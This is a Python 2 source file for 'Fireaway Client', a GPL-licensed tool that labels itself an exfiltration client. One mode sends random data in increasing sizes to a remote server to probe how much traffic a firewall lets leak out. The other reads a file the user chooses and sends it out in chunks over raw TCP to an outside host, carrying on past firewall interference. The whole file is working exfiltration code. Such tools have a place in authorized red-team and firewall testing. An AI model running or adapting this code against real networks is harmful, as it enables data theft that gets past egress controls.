fa_client.py

#!/usr/bin/python

#Fireaway Client Copyright 2016 Russell Butturini
#This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
#the Free Software Foundation, either version 3 of the License, or
#(at your option) any later version.

#This program is distributed in the hope that it will be useful,
#but WITHOUT ANY WARRANTY; without even the implied warranty of
#MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
#GNU General Public License for more details.

#You should have received a copy of the GNU General Public License
#along with this program.  If not, see <http://www.gnu.org/licenses/>.

import socket
import sys
import string
from random import choice


def main():
    if len(sys.argv) != 4 or sys.argv[2].isdigit == False or int(sys.argv[2]) < 1 or int(sys.argv[2]) > 65535 or \
                    sys.argv[3].isdigit == False or int(sys.argv[3]) < 0 or int(sys.argv[3]) > 1:
        printHelp()

    else:
        if sys.argv[3] == '0':
            testChunk(sys.argv[1], int(sys.argv[2]))

        elif sys.argv[3] == '1':
            sendFile(sys.argv[1], int(sys.argv[2]))


def testChunk(server, port):
    while True:
        try:
            startBytes = int(raw_input('Enter the number initial number of bytes to test: '))
            break

        except ValueError:
            print 'Invalid input!'

    while True:
        try:
            increment = int(raw_input('Enter the number of bytes to increment on each new connection: '))
            break

        except ValueError:
            print 'Invalid input!'

    while True:
        try:
            maxBytes = int(raw_input('Enter the maximum number of test bytes: '))
            break

        except ValueError:
            print 'Invalid input!'

    curBytes = startBytes

    while curBytes < int(maxBytes):
        try:
            testData = ''.join(choice(string.ascii_letters + string.digits + '!@#$%^&*()') for x in range(curBytes))
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(15)
            s.connect((server, port))
            print 'sending ' + str(curBytes) + ' of test data.  Watch the server to see how much is received.'
            s.send(testData)
            s.close()

        except:
            # Handle aggressive network traffic from the firewall gracefully and keep going.
            pass

        curBytes = curBytes + increment


    if raw_input('Done sending test data.  Check the server output for any issues.  Move on to sending a real file?').lower() == 'y':
        sendFile(server,port)

    else:
        sys.exit()

def sendFile(server, port):
    fileName = raw_input('Enter path to file to exfiltrate: ')
    chunkSize = int(raw_input('Enter size of file chunk (use max chunk or less in server output): '))
    chunkCount = 1
    with open(fileName,'rb') as in_file:

            while True:
                piece = in_file.read(chunkSize)

                if piece == "":
                    break #EOF

                s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                s.settimeout(15)

                try:
                    s.connect((server, port))
                    print 'Sending chunk ' + str(chunkCount)
                    s.send(piece)
                    s.close()
                    chunkCount += 1

                except:
                    #Handle aggressive network traffic from the firewall and keep going
                    print 'Got something bad back.  Going to plug on...'
                    pass

    print 'Finished sending file.  Check ReceivedData.txt on the server for results.'

def printHelp():
    print 'Fireaway Exfiltration Client v0.1'
    print 'Usage:  fa_client <fa_server IP> <port> <mode>'
    print 'Valid options for mode:'
    print '0-Send random test data to find maximum leaked data fragment size'
    print '1-Exfiltrate a file'
    sys.exit()


if __name__ == '__main__':
    main()